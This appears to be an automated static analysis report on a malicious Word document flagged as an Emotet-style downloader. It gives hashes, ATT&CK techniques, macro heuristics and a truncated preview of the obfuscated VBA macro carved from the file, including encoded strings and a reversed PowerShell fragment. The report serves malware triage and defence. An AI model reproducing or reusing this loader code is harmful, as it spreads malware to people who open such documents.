Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ecd47f4204da14a4…

MALICIOUS

Office (OLE)

153.5 KB Created: 2018-03-21 20:27:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 69ebd1dd28056cdc4d56ba78506e6ed2 SHA-1: a75cb834a956662700e9be5fa16e6c2178e2e178 SHA-256: ecd47f4204da14a45cb2bbae813c2aaa7980b92a91ba2855669d3f1be25bef12
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV and exhibits high-severity heuristics for VBA macros, including `CreateObject` calls and auto-execution markers like `AutoOpen`. The embedded VBA macro `macros.bas` likely attempts to download and execute a second-stage payload, as indicated by the `CreateObject` heuristic and the presence of obfuscated code within the script. The `OLE_LEGACY_WORDBASIC_AUTOEXEC` heuristic also suggests legacy macro execution.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 40823 bytes
SHA-256: 9b2fc6c6f53f061af6a180ded72468b091a9ec02e682006d39ecfa09a00fce85
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 20 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "rEsMIRBfvr"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "uZAdqvjWXhH"
Function IsKnFVOPYfzEC()
On Error Resume Next
Select Case LEYNYk
         Case 25451
            KERob = Hex(53636 - CSng(59445) - 31657 + ChrW(HEIfH))
            XGQJQ = aWwZS
End Select
MCijsl = oFqLAS("GYHdjBAMAgDA4AQZAUGA0AQNAQDAzAAZAQDA0AQOAkDAhBwNAkDA2AQZAADAmBAMAMDAiBQNAMDA5AQNAUDAhBAZAgDAjBQNAQGA4AwYAMGA0AgYAcDA4AwMAcDAjBAZAYGAjBwNAUGAiBgMAcDAwYrA", 4, 145)
Select Case qswcbH
         Case 28873
            fwoTw = Hex(94914 - CSng(49515) - 45284 + ChrW(QlwDp))
            GHbwN = hTOJqo
End Select
Select Case RCKihS
         Case 12847
            uwUzUV = Hex(63825 - CSng(23545) - 18489 + ChrW(TVWjwX))
            TFkKp = FtvOW
End Select
tJAKDUMli = oFqLAS("cWZAEGA3AwMAYDAkBQZAUGAmBwYAMDA4AQNAMGA1AQMAEGAwAAOAgDAlBAMAgDAwAQNAUDA3AwNAEGAmBAOAEDAiBQOAIGAhBgNAUGAzAANAYGAmBQZAcDA0AgYAgDA4AgZAEDAlBf3K%X", 6, 135)
Select Case uHwqwA
         Case 85173
            CpIPo = Hex(72584 - CSng(11420) - 33607 + ChrW(VlEnTO))
            WcEZO = ZGKNO
End Select
Select Case UbUIS
         Case 37614
            uMcqQ = Hex(46791 - CSng(25863) - 46818 + ChrW(WGEuUL))
            qYUkMU = iVXFX
End Select
czhFJEpFrwd = oFqLAS("IVIDwAZAQDAhBgMAMGAhBgMAMDA4AQZAUGA1AwNAYDA4AwMAADA5AQOAMGAzAAZAADAkBQZAYDAwAQMAQDA2AwMAUDAkBAZAYGA4AAMAEGA2AgYAkDA2AQZAIDAkBQMAUGAjBgYAADAwAAOAEDA5AgZAMGA1AgYAMDA2AQZAADA2AAKjP0", 5, 169)
Select Case SmVqoq
         Case 51176
            awXCV = Hex(94175 - CSng(60107) - 74112 + ChrW(iDIsij))
            jBaIuU = TqzRjl
End Select
Select Case uYNcqB
         Case 49545
            XGbMji = Hex(51899 - CSng(98811) - 72718 + ChrW(KCPmKI))
            FwEjF = sLFEGq
End Select
FpzMvRiTliG = oFqLAS("iNlp)'x'+]03[EMohsP$+]4[EMOHsp$ (& |DrOWsSaP.)(LAitNEDERCkrOwtentEG.)))431..111(  YeK- GnIrtSErUcES-OTTREvnOc| 'AYGAzAgNAgDT", 3, 118)
Select Case lMDlqA
         Case 85261
            iEjZI = Hex(68529 - CSng(15036) - 78365 + ChrW(HNESk))
            VMRZj = iZUIw
End Select
Select Case wMmAhW
         Case 10010
            KZQBnt = Hex(76309 - CSng(69080) - 40244 + ChrW(ioTiG))
            suJiOX = frkaMM
End Select
TrpQcDd = oFqLAS("db%oMKAQMAADAyAgZAYDAxAwMAUDAlBgNAMGAiBwYAkDAxAQMAMDA1AQMAMGAmBANAcDAwAgNAQGAiBgYAYGAwAgYAEDAzAgZAEGAyAQYAkDAxAwNAUGA0AwNAADA0AQNAEGAzAwMAUDA0AQNAgDAlBgYAMDA3AQYAMGAwAgYAcDiFk", 4, 166)
Select Case kiRkvi
         Case 4864
            SzzdG = Hex(19172 - CSng(55919) - 93381 + ChrW(OFsHn))
            Wjnil = CSbXj
End Select
Select Case BlFio
         Case 52836
            ADYjHz = Hex(8386 - CSng(94008) - 99674 + ChrW(BzbWTd))
            NtNVsk = EHSjsX
End Select
dSLloM = oFqLAS("D4WrKiMGAiBwNAADA1AQOAgDAmBgYAYDAxAgNAIKvz", 4, 33)
Select Case nkAObT
         Case 66655
            XWodr = Hex(3921 - CSng(73929) - 82261 + ChrW(iIaVuO))
            ISbbA = XEbjOP
End Select
Select Case zVLjL
         Case 95050
            taQXtR = Hex(58229 - CSng(70776) - 49911 + ChrW(fohuh))
            joZPjw = jKMBv
End Select
bTwZZ = oFqLAS("5utz5AQYAADAmBgYAgDno", 3, 14)
Select Case rzHsL
         Case 70400
            jqrpQ = Hex(29861 - CSng(55450) - 1354 + ChrW(fUaQt))
            vlitzJ = MhQibh
End Select
Select Case TZsJM
         Case 75558
            WkddZn = Hex(63675 - CSng(94141) - 89187 + ChrW(oBbMrS))
            EWUmtd = uwwjM
End Select
iJJSIIdR = oFqLAS("MwFAQDAxAgNAEGAzAgNAIGAjBQYAUGAxAQYAUGA5AgYAMDAkBQZAMGA4AgNAADAjBAZAUDA0AgZAUGAlBgZAgDAzAAMAQGAkBQOAIDAyAgMAMDAxAwYAUDAhBwYAEDA3AAMAMGAyAgNAIDAjBANAIDAjBAZAgDA2AgYAIDAhBQOAQDA3AQMAUDANiM", 4, 180)
Select Case MwKRQ
         Case 49923
            CwjIwA = Hex(32302 - CSng(83609) - 30477 + ChrW(tbHzFq))
            JcGFj = ozkjiq
End Select
Select Case EZKNpL
         Case 40033
            tHTZkp = Hex(21406 - C
... (truncated)

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